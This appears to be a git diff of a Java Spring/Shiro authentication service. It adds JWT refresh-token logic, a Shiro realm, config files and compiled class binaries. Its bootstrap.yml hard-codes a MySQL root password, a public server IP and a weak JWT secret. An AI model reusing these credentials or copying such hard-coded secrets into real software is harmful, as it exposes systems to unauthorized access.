CommonResult refreshToken(String token) { + token = com.auth.server.util.SecurityUtils.replaceTokenPrefix(token); + + if (StringUtils.isEmpty(token)) { + return new CommonResult<>(ResponseCodeEnum.TOKEN_MISSION.getCode(), + ResponseCodeEnum.TOKEN_MISSION.getMessage()); + } + + // 对Token解签名,并验证Token是否过期 + boolean isJwtNotValid = jwtTokenUtil.isTokenExpired(token); + if (isJwtNotValid) { + return new CommonResult<>(ResponseCodeEnum.TOKEN_INVALID.getCode(), + ResponseCodeEnum.TOKEN_INVALID.getMessage()); + } + + // 验证 token 里面的 userId 是否为空 + String userId = jwtTokenUtil.getUserIdFromToken(token); + String username = jwtTokenUtil.getUserNameFromToken(token); + if (StringUtils.isEmpty(userId)) { + return new CommonResult<>(ResponseCodeEnum.TOKEN_INVALID.getCode(), + ResponseCodeEnum.TOKEN_INVALID.getMessage()); + } + + // 这里为了保证 refreshToken 只能用一次,刷新后,会从 redis 中删除。 + // 如果用的不是 redis 中的 refreshToken 进行刷新令牌,则不能刷新。 + // 如果使用 redis 中已过期的 refreshToken 也不能刷新令牌。 + boolean isRefreshTokenNotExisted = jwtTokenUtil.isRefreshTokenNotExistCache(token); + if (isRefreshTokenNotExisted) { + return new CommonResult<>(ResponseCodeEnum.REFRESH_TOKEN_INVALID.getCode(), + ResponseCodeEnum.REFRESH_TOKEN_INVALID.getMessage()); + } + + //String us = jwtTokenUtil.getUserIdFromToken(token); + Map tokenMap = jwtTokenUtil.refreshTokenAndGenerateToken(userId, username); + + return new CommonResult<>(200, ResponseCodeEnum.SUCCESS.getMessage(), tokenMap); + } + +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/util/SecurityUtils.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/util/SecurityUtils.java new file mode 100644 index 0000000..d689d0d --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/util/SecurityUtils.java @@ -0,0 +1,37 @@ +package com.auth.server.util; + + +import com.etl.common.constants.TokenConstants; + +import javax.servlet.http.HttpServletRequest; + +import static org.apache.logging.log4j.util.Strings.isEmpty; + +/** + * 权限获取工具类 + * + */ +public class SecurityUtils +{ + + /** + * 根据request获取请求token + */ + public static String getToken(HttpServletRequest request) + { + // 从header获取token标识 + String token = request.getHeader(TokenConstants.AUTHENTICATION); + return replaceTokenPrefix(token); + } + + /** + * 裁剪token前缀 + */ + public static String replaceTokenPrefix(String token) { + // 如果前端设置了令牌前缀,则裁剪掉前缀 + if (!isEmpty(token) && token.startsWith(TokenConstants.PREFIX)) { + token = token.replaceFirst(TokenConstants.PREFIX, ""); + } + return token; + } +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/util/UserRealm.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/util/UserRealm.java new file mode 100644 index 0000000..b9218f5 --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/util/UserRealm.java @@ -0,0 +1,65 @@ +package com.auth.server.util; + + +import com.auth.common.entity.UserAccount; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.auth.server.service.UserManageService; +import lombok.extern.slf4j.Slf4j; +import org.apache.shiro.SecurityUtils; +import org.apache.shiro.authc.*; +import org.apache.shiro.authz.AuthorizationInfo; +import org.apache.shiro.authz.SimpleAuthorizationInfo; +import org.apache.shiro.realm.AuthorizingRealm; +import org.apache.shiro.subject.PrincipalCollection; +import org.apache.shiro.subject.Subject; +import org.apache.shiro.util.ByteSource; +import org.springframework.beans.factory.annotation.Autowired; + +@Slf4j +public class UserRealm extends AuthorizingRealm { + @Autowired + private UserManageService userManageService; + + //授权 + @Override + protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) { + + /**配置权限 + *此处User实体需配置属性roles,用户权限 + *获取当前用户对象 + * */ + SimpleAuthorizationInfo authorizationInfo = new SimpleAuthorizationInfo(); + Subject subject= SecurityUtils.getSubject(); + UserAccount currentUser =(UserAccount) subject.getPrincipal(); + authorizationInfo.addStringPermission(currentUser.getRoles()); + log.info("用户权限为:"+currentUser.getRoles()); + return authorizationInfo; + } + + //认证 + @Override + protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException { + + UsernamePasswordToken token = (UsernamePasswordToken) authenticationToken; + //用户名/密码认证 + //从接口处获取得到的用户名 + String username = token.getUsername(); + + //调用mybatis_plus中的方法,查询数据库中用户名对应的数据 + QueryWrapper wrapper = new QueryWrapper<>(); + wrapper.eq("username",username); + UserAccount user=userManageService.getOne(wrapper); + + //为空,即用户名不存在 + if(user==null){ + return null; + }else { + log.info(user.getUsername()); + } + + //principal:认证的实体信息,可以是username,也可以是数据库表对应的用户的实体对象 + // Object principal = user.getUsername(); + ByteSource salt = ByteSource.Util.bytes(username); + return new SimpleAuthenticationInfo(user.getUsername(), user.getPassword() , salt,getName()); + } +} diff --git a/etl-auth/etl-auth-server/src/main/resources/bootstrap.yml b/etl-auth/etl-auth-server/src/main/resources/bootstrap.yml new file mode 100644 index 0000000..4edeee2 --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/resources/bootstrap.yml @@ -0,0 +1,51 @@ +server: + port: 9092 +spring: + application: + name: engine-auth + redis: + host: 115.159.33.152 + port: 6379 + datasource: + driver-class-name: com.mysql.cj.jdbc.Driver + url: jdbc:mysql://115.159.33.152:3306/etl + username: root + password: lzm@123 + mvc: + pathmatch: + matching-strategy: ant_path_matcher + profiles: + active: dev + cloud: + nacos: + #注册服务 + discovery: + server-addr: 115.159.33.152:8848 + namespace: f9f293d4-55ce-45c1-aa15-124ca461c060 + # 配置 + config: + server-addr: 115.159.33.152:8848 + namespace: f9f293d4-55ce-45c1-aa15-124ca461c060 + # 配置文件格式 + file-extension: yml + # 共享配置 + shared-configs: + - application-${spring.profiles.active}.${spring.cloud.nacos.config.file-extension} +logging: + level: + com.bwie: DEBUG +auth: + jwt: + enabled: true # 是否开启JWT登录认证功能 + secret: passjava # JWT 私钥,用于校验JWT令牌的合法性 + expiration: 1800000 # JWT 令牌的有效期,用于校验JWT令牌的合法性,半个小时 + header: Authorization # HTTP 请求的 Header 名称,该 Header作为参数传递 JWT 令牌 + userParamName: username # 用户登录认证用户名参数名称 + pwdParamName: password # 用户登录认证密码参数名称 + useDefaultController: true # 是否使用默认的JwtAuthController + skipValidUrl: + - /auth/login + - /auth/logout +mybatis-plus: + mapper-locations: classpath:/mapper/*mapper.xml + typeAliasesPackage: com.auth.common.entity diff --git a/etl-auth/etl-auth-server/src/main/resources/mapper/PathMapper.xml b/etl-auth/etl-auth-server/src/main/resources/mapper/PathMapper.xml new file mode 100644 index 0000000..5829ce3 --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/resources/mapper/PathMapper.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/etl-auth/etl-auth-server/src/main/resources/mapper/PermissionMapper.xml b/etl-auth/etl-auth-server/src/main/resources/mapper/PermissionMapper.xml new file mode 100644 index 0000000..c97efca --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/resources/mapper/PermissionMapper.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/etl-auth/etl-auth-server/src/main/resources/mapper/UserMangeMapper.xml b/etl-auth/etl-auth-server/src/main/resources/mapper/UserMangeMapper.xml new file mode 100644 index 0000000..f74141e --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/resources/mapper/UserMangeMapper.xml @@ -0,0 +1,6 @@ + + + + + + diff --git a/etl-auth/etl-auth-server/src/main/resources/static/index.html b/etl-auth/etl-auth-server/src/main/resources/static/index.html new file mode 100644 index 0000000..f67da0a --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/resources/static/index.html @@ -0,0 +1,6 @@ + + +hello word!!! +this is a html page + + diff --git a/etl-auth/etl-auth-server/src/test/java/com/auth/server/EtlAuthServerApplicationTests.java b/etl-auth/etl-auth-server/src/test/java/com/auth/server/EtlAuthServerApplicationTests.java new file mode 100644 index 0000000..9a5ad53 --- /dev/null +++ b/etl-auth/etl-auth-server/src/test/java/com/auth/server/EtlAuthServerApplicationTests.java @@ -0,0 +1,31 @@ +package com.auth.server; + +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; + +@SpringBootTest +class EtlAuthServerApplicationTests { + + @Autowired + private BCryptPasswordEncoder bCryptPasswordEncoder; + @Test + public void enCoder() { + String password="123"; + String encode = bCryptPasswordEncoder.encode(password); + System.out.println("加密后的密码:"+encode); + } + + @Test + public void matchesPassword(){ + String encode="$2a$10$qyOS46MrKAm2wIyJl95.eO70ioBDvsgv8nnCCjhGJUxPIhPC56PTa"; + boolean matches = bCryptPasswordEncoder.matches("123", encode); + if (matches){ + System.out.println("密码正确"); + }else { + System.out.println("密码错误"); + } + } + +} diff --git a/etl-auth/etl-auth-server/target/classes/bootstrap.yml b/etl-auth/etl-auth-server/target/classes/bootstrap.yml new file mode 100644 index 0000000..4edeee2 --- /dev/null +++ b/etl-auth/etl-auth-server/target/classes/bootstrap.yml @@ -0,0 +1,51 @@ +server: + port: 9092 +spring: + application: + name: engine-auth + redis: + host: 115.159.33.152 + port: 6379 + datasource: + driver-class-name: com.mysql.cj.jdbc.Driver + url: jdbc:mysql://115.159.33.152:3306/etl + username: root + password: lzm@123 + mvc: + pathmatch: + matching-strategy: ant_path_matcher + profiles: + active: dev + cloud: + nacos: + #注册服务 + discovery: + server-addr: 115.159.33.152:8848 + namespace: f9f293d4-55ce-45c1-aa15-124ca461c060 + # 配置 + config: + server-addr: 115.159.33.152:8848 + namespace: f9f293d4-55ce-45c1-aa15-124ca461c060 + # 配置文件格式 + file-extension: yml + # 共享配置 + shared-configs: + - application-${spring.profiles.active}.${spring.cloud.nacos.config.file-extension} +logging: + level: + com.bwie: DEBUG +auth: + jwt: + enabled: true # 是否开启JWT登录认证功能 + secret: passjava # JWT 私钥,用于校验JWT令牌的合法性 + expiration: 1800000 # JWT 令牌的有效期,用于校验JWT令牌的合法性,半个小时 + header: Authorization # HTTP 请求的 Header 名称,该 Header作为参数传递 JWT 令牌 + userParamName: username # 用户登录认证用户名参数名称 + pwdParamName: password # 用户登录认证密码参数名称 + useDefaultController: true # 是否使用默认的JwtAuthController + skipValidUrl: + - /auth/login + - /auth/logout +mybatis-plus: + mapper-locations: classpath:/mapper/*mapper.xml + typeAliasesPackage: com.auth.common.entity diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/EtlAuthServerApplication.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/EtlAuthServerApplication.class new file mode 100644 index 0000000000000000000000000000000000000000..839078c1e09176e721462d78dda22df59b871b1d GIT binary patch literal 1363 zcmbtU+fEZf82$!I3$+RsErOupu~g|M#&A@j3XWc2C_b05w95>` z^@RoI9(tLX^8D=fR@*sV2;B6$G`2Dl z8`4Nhb0vxB28BWhUHx6zEb2l zwThx_%U-I5*Ub`KCBfOUHZlj%p-*tlaTx|dz2-?GbT`PLjqLL@z{-H|&t4#D$|#{wf2G$CS3wD*40SU8r=cyOQNd$8VR-SsBSsZD9s0Na zt_UoxPoCGT_5EfKG@8~_r?fqOePDUoA#Fn|XJ7JH;-ri1Kt nPQh^(DZLwXPm^?J6U^WyX6Ze*iK4+RgWCpo4CW2)8r=I0tIC8W literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/config/MD5s.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/config/MD5s.class new file mode 100644 index 0000000000000000000000000000000000000000..b11995ff36a535e8a051a8340e00806ca96b17d3 GIT binary patch literal 2016 zcmbVNT~ixX7=8{U*|037iBO8QsI}5Sp$j6QP|@-w*pMnvw8gK@a+)kncH{0z2S(cq z$2%|d#tUY=aJ=!t8+wy6cBVhT|D^bA0yMPHVa!a;8qd`^eQjD}eqt@u#GypBW<4N> z7Q!Q=;f98f1!7kn*HIG!jj5g$fyk7%CIwp4jw>_eVpjUgR<=M+GVR$`Va4*D@V>{4 zsJs&hoKM?c(X`4cZwAu8Cwe&2B12%XUia`UA3H>GB23n%Hj?V8&h1)tz&MDh)yXO+ z@igUmSIJ!1zGmgk$&LMV+f(yLE={Z;-JHr-_jsO&R;eUiw!8oMNb44HuV0+mxbpU0 zwWW^q)LP=|s_JMj`&L+uR9%r@xD#w(Al1PxW~?HuXOE2Vq>%eV$IzRIUE8W>Kx@;( zm(BkGjb_6&66j+wPHH}m*Kvj~@9@{a73NCwe3>_sPi{4$y^kOsR>kLd#;VLyc!ji4 zQ^0w2@z#V_@ftZa7Jm|~iM(HXchInfSh8_jq?3^yMAMghD~MH~EhHN=ePfZ%$di$1 z<4CMM)*k&Gna)UiY-mJl*Am!$u!Hzmyfa=wQ{*>vK8Akl5t@@m1uY@7rGisq@jY&T z9W(PoO#HF?uz!1@uY%K$k)T;J8L8lMGRbx?Me8FpfnxlQtRo!MLDl*#*+Ip1dyAK(JM$3^^zH}Mm?@e3|t3q933Eh0|4 zA!=P9HHrzmK~0TFS!#E)R$Y8CUZS*-I1!|1*AP|@z2t>;{+YGC%y_q`(T9FYuaG~3 zsJ=^EO@panK*L~_7!>T=KNuCf?J~qjy%^XfPD70as=P(8A%ZpVJAR!{o#F)M@DZB+ E1L-*U%>V!Z literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/config/ShiroConfig.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/config/ShiroConfig.class new file mode 100644 index 0000000000000000000000000000000000000000..ea6fe07a3ea1eeea5228d40f97a0320aedd47526 GIT binary patch literal 2813 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 literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/service/PathService.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/service/PathService.class new file mode 100644 index 0000000000000000000000000000000000000000..88233ecb5a7d6062d1f1de5079f5c2f8219e424d GIT binary patch literal 321 zcmbVIOA5j;5S{p|)s1&>?<{mzaVZFbLQjy^K_g8f`4qjH3lHF-#H5OdOBXZq7VpR0 zAJ-cI%wU*6KY=uX0fRIbd&QkM#Nf0(@|t7C)gCv+kxG}XOD(bBT8f?aC@%$f!k#K` zkLn09y*1k`DE7kbT2p2H$#1^@s6 literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/service/PermissionService.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/service/PermissionService.class new file mode 100644 index 0000000000000000000000000000000000000000..b26615f70b9a03a3d0996edb770e9759fd52cc42 GIT binary patch literal 466 zcmbVJO-sW-5S^*DvDJ#F{sX~Y+=E^urQk&n0*bkL+ayDrlI+&~DE6;;@CW##q?<(A zLJxw6f%(|?=DpePpU*D*fFm(?&+i*eoNn-FW~&xY*sSGl6jP4;KRjgkFfF@K4xB=)-ZS2BGRf6r#&cVAys> E8~pi_D*ylh literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/service/UserManageService.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/service/UserManageService.class new file mode 100644 index 0000000000000000000000000000000000000000..41fc9a076bcb1eb1eeeec8759e76a9660197dad4 GIT binary patch literal 707 zcmb_a!Ab)$5S`T8wY6%!_zmsF0reoX2qFl=7QxjI$Zp4N>TXi9NwL4ygCF2WiL-58 ziXy0Z2+SmJX5M>~*SEzB0Gz>L0Q&(P1ke%C^aa__q)H1IcEiNvD7_ma2f5Km+9@~3 z2L@dxiSgR?dn-_;Vi`-+GBE|pslwchD8tza-cjK**XQ1mO0{&}k^uRiy$9h$&Ln11 zr+6DrC~^G@p4YbYXsH0_oY2E)<*3rq5JDcoVIH!B5sx8qtc3w+UUVjGaF!mp7DJ zrnK&JT)HQqS1r37M7Emur9eREv*7|x%kp0;Xb2EcL2cA>pQ?7ai6`r_LF literal 0 HcmV?d00001 diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/service/impl/PathServiceImpl.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/service/impl/PathServiceImpl.class new file mode 100644 index 0000000000000000000000000000000000000000..e8c95683b420d437f923e3b6339e14bae761a2f4 GIT binary patch literal 888 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 